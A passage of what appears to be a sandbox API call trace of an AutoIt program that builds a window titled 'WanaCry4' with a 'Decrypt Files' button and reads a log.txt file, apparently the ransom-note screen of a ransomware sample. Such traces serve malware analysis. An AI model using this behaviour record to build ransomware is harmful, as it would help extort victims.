lpsz="_BYTESTOBITS") returned 0xc [0045.815] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.815] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.815] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.815] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.815] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.816] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.816] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.816] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.816] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.816] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.816] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.816] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.816] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.817] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.817] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.817] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.817] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.817] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.817] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.818] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.818] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.818] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.818] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.818] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.818] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.819] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.819] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.819] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.819] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.819] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.819] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.819] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.819] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.819] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.820] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.820] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.820] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.820] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.820] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.820] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.820] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.820] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.820] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.821] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.821] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.821] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.821] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.821] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.821] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.821] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.821] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.822] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.822] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.822] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.822] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.822] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.822] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.822] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.822] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.822] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.822] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.823] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.823] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.823] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.823] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.823] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.823] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.823] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.823] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.823] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.824] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.824] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.824] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.824] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.824] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.824] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.824] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.824] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.825] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.825] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.825] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.825] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.825] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.825] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.825] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0046.068] SystemParametersInfoW (in: uiAction=0x30, uiParam=0x0, pvParam=0xe0d659f1d0, fWinIni=0x0 | out: pvParam=0xe0d659f1d0) returned 1 [0046.068] GetSystemMetrics (nIndex=7) returned 3 [0046.068] SystemParametersInfoW (in: uiAction=0x30, uiParam=0x0, pvParam=0xe0d659f1d0, fWinIni=0x0 | out: pvParam=0xe0d659f1d0) returned 1 [0046.068] GetSystemMetrics (nIndex=8) returned 3 [0046.068] GetSystemMetrics (nIndex=4) returned 23 [0046.068] SetRect (in: lprc=0xe0d659f1d0, xLeft=0, yTop=0, xRight=800, yBottom=650 | out: lprc=0xe0d659f1d0) returned 1 [0046.068] AdjustWindowRectEx (in: lpRect=0xe0d659f1d0, dwStyle=0x84c00000, bMenu=0, dwExStyle=0x0 | out: lpRect=0xe0d659f1d0) returned 1 [0046.068] CreateWindowExW (dwExStyle=0x0, lpClassName="AutoIt v3 GUI", lpWindowName="WanaCry4", dwStyle=0x84c00000, X=318, Y=92, nWidth=806, nHeight=679, hWndParent=0x0, hMenu=0x0, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x50216 [0046.068] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.068] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x81, wParam=0x0, lParam=0xe0d659eb80) returned 0x1 [0046.068] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.068] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x83, wParam=0x0, lParam=0xe0d659ebf0) returned 0x0 [0046.069] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.069] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.069] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x5, wParam=0x0, lParam=0x28a0320) returned 0x0 [0046.069] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.069] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x3, wParam=0x0, lParam=0x760141) returned 0x0 [0046.069] SetWindowLongPtrW (hWnd=0x50216, nIndex=-21, dwNewLong=0x0) returned 0x0 [0046.069] GetClientRect (in: hWnd=0x50216, lpRect=0xe0d659f1d0 | out: lpRect=0xe0d659f1d0) returned 1 [0046.069] GetStockObject (i=17) returned 0x10a0047 [0046.069] SendMessageW (hWnd=0x50216, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0046.069] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.069] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0046.069] GetCursorPos (in: lpPoint=0xe0d659f170 | out: lpPoint=0xe0d659f170*(x=787, y=506)) returned 1 [0046.069] ScreenToClient (in: hWnd=0x50216, lpPoint=0xe0d659f170 | out: lpPoint=0xe0d659f170) returned 1 [0046.069] GetAsyncKeyState (vKey=1) returned 0 [0046.069] GetAsyncKeyState (vKey=2) returned 0 [0046.069] SetTimer (hWnd=0x0, nIDEvent=0x0, uElapse=0x28, lpTimerFunc=0x7ff756b75a9c) returned 0x7f62 [0046.070] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 1 [0046.070] IsDialogMessageW (hDlg=0x50216, lpMsg=0xe0d659f650) returned 1 [0046.070] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.070] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0046.070] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.070] CreateWindowExW (dwExStyle=0x100, lpClassName="button", lpWindowName="Decrypt Files", dwStyle=0x50030000, X=176, Y=400, nWidth=113, nHeight=41, hWndParent=0x50216, hMenu=0x3, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x901e4 [0046.071] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.071] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x55, wParam=0x901e4, lParam=0x3) returned 0x2 [0046.071] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.071] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x0 [0046.071] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.071] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0046.071] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.071] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0046.071] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.071] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x210, wParam=0x30001, lParam=0x901e4) returned 0x0 [0046.071] GetStockObject (i=17) returned 0x10a0047 [0046.071] SendMessageW (hWnd=0x901e4, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0046.071] GetClientRect (in: hWnd=0x901e4, lpRect=0xe0d659f0a0 | out: lpRect=0xe0d659f0a0) returned 1 [0046.071] GetWindowRect (in: hWnd=0x901e4, lpRect=0xe0d659f0a0 | out: lpRect=0xe0d659f0a0) returned 1 [0046.071] SetWindowLongPtrW (hWnd=0x901e4, nIndex=-21, dwNewLong=0x3) returned 0x0 [0046.071] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.072] GetDC (hWnd=0x0) returned 0x11010729 [0046.072] GetDeviceCaps (hdc=0x11010729, index=90) returned 96 [0046.072] ReleaseDC (hWnd=0x0, hDC=0x11010729) returned 1 [0046.072] CreateFontW (cHeight=-16, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x7d0a070d [0046.072] SendMessageW (hWnd=0x901e4, Msg=0x30, wParam=0x7d0a070d, lParam=0x1) returned 0x0 [0046.072] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.072] CreateWindowExW (dwExStyle=0x200, lpClassName="edit", lpWindowName="", dwStyle=0x503110c4, X=16, Y=56, nWidth=768, nHeight=329, hWndParent=0x50216, hMenu=0x4, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x701ea [0046.076] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.076] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x210, wParam=0x40001, lParam=0x701ea) returned 0x0 [0046.076] GetStockObject (i=17) returned 0x10a0047 [0046.076] SendMessageW (hWnd=0x701ea, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x1 [0046.077] GetWindowTextLengthW (hWnd=0x701ea) returned 0 [0046.077] SendMessageW (hWnd=0x701ea, Msg=0xb1, wParam=0x0, lParam=0x0) returned 0x1 [0046.077] GetClientRect (in: hWnd=0x701ea, lpRect=0xe0d659f0a0 | out: lpRect=0xe0d659f0a0) returned 1 [0046.077] GetWindowRect (in: hWnd=0x701ea, lpRect=0xe0d659f0a0 | out: lpRect=0xe0d659f0a0) returned 1 [0046.077] SetWindowLongPtrW (hWnd=0x701ea, nIndex=-21, dwNewLong=0x4) returned 0x0 [0046.077] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.077] CharUpperBuffW (in: lpsz="_GUICTRLEDIT_SETLIMITTEXT", cchLength=0x19 | out: lpsz="_GUICTRLEDIT_SETLIMITTEXT") returned 0x19 [0046.077] PeekMessageW (in: lpMsg=0xe0d659f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f330) returned 0 [0046.077] PeekMessageW (in: lpMsg=0xe0d659f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f330) returned 0 [0046.077] CharUpperBuffW (in: lpsz="_SENDMESSAGE", cchLength=0xc | out: lpsz="_SENDMESSAGE") returned 0xc [0046.078] PeekMessageW (in: lpMsg=0xe0d659f010, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f010) returned 0 [0046.079] CharLowerBuffW (in: lpsz="lresult", cchLength=0x7 | out: lpsz="lresult") returned 0x7 [0046.079] LoadLibraryW (lpLibFileName="user32.dll") returned 0x7ffe2a3b0000 [0046.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SendMessageW", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0046.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SendMessageW", cchWideChar=13, lpMultiByteStr=0xe0d6934790, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMessageW", lpUsedDefaultChar=0x0) returned 13 [0046.079] GetProcAddress (hModule=0x7ffe2a3b0000, lpProcName="SendMessageW") returned 0x7ffe2a3b6970 [0046.080] SendMessageW (hWnd=0x701ea, Msg=0xc5, wParam=0x3b9ac9ff, lParam=0x0) returned 0x1 [0046.080] FreeLibrary (hLibModule=0x7ffe2a3b0000) returned 1 [0046.080] PeekMessageW (in: lpMsg=0xe0d659f010, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f010) returned 0 [0046.080] PeekMessageW (in: lpMsg=0xe0d659f010, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f010) returned 0 [0046.081] PeekMessageW (in: lpMsg=0xe0d659f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f330) returned 0 [0046.081] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.082] CreateSolidBrush (color=0x0) returned 0xffffffffa8100568 [0046.082] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.082] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.082] CreateFileW (lpFileName="C:\\PROGRA~1\\COMMON~1\\log.txt" (normalized: "c:\\progra~1\\common~1\\log.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0046.082] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0046.082] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xe0d659f190, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe0d659f190*=0) returned 1 [0046.082] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xe0d659f180, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe0d659f180*=0) returned 1 [0046.082] ReadFile (in: hFile=0x18c, lpBuffer=0xe0d694cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe0d659f1c0, lpOverlapped=0x0 | out: lpBuffer=0xe0d694cb00*, lpNumberOfBytesRead=0xe0d659f1c0*=0x324a, lpOverlapped=0x0) returned 1 [0046.083] ReadFile (in: hFile=0x18c, lpBuffer=0xe0d694cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe0d659f1c0, lpOverlapped=0x0 | out: lpBuffer=0xe0d694cb00*, lpNumberOfBytesRead=0xe0d659f1c0*=0x0, lpOverlapped=0x0) returned 1 [0046.083] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0046.083] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xe0d659f200, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe0d659f200*=12874) returned 1 [0046.083] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0046.083] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xe0d659f200, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe0d659f200*=0) returned 1 [0046.083] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xe0d659f150, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe0d659f150*=0) returned 1 [0046.083] ReadFile (in: hFile=0x18c, lpBuffer=0xe0d694cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe0d659f190, lpOverlapped=0x0 | out: lpBuffer=0xe0d694cb00*, lpNumberOfBytesRead=0xe0d659f190*=0x324a, lpOverlapped=0x0) returned 1 [0046.083] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.083] CharUpperBuffW (in: lpsz="_FILECOUNTLINES", cchLength=0xf | out: lpsz="_FILECOUNTLINES") returned 0xf [0046.083] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0046.084] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0046.084] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xe0d659ebb0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe0d659ebb0*=0) returned 1 [0046.084] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xe0d659eba0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe0d659eba0*=0) returned 1 [0046.084] ReadFile (in: hFile=0x18c, lpBuffer=0xe0d694cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe0d659ebe0, lpOverlapped=0x0 | out: lpBuffer=0xe0d694cb00*, lpNumberOfBytesRead=0xe0d659ebe0*=0x324a, lpOverlapped=0x0) returned 1 [0046.084] ReadFile (in: hFile=0x18c, lpBuffer=0xe0d694cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe0d659ebe0, lpOverlapped=0x0 | out: lpBuffer=0xe0d694cb00*, lpNumberOfBytesRead=0xe0d659ebe0*=0x0, lpOverlapped=0x0) returned 1 [0046.084] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0046.084] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0046.084] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0046.084] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xe0d659eac0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe0d659eac0*=12874) returned 1 [0046.084] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0046.084] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xe0d659eac0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe0d659eac0*=0) returned 1 [0046.084] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0xe0d659ea10, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe0d659ea10*=0) returned 1 [0046.084] ReadFile (in: hFile=0x18c, lpBuffer=0xe0d694cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe0d659ea50, lpOverlapped=0x0 | out: lpBuffer=0xe0d694cb00*, lpNumberOfBytesRead=0xe0d659ea50*=0x324a, lpOverlapped=0x0) returned 1 [0046.085] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0046.085] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0046.085] SetWindowTextW 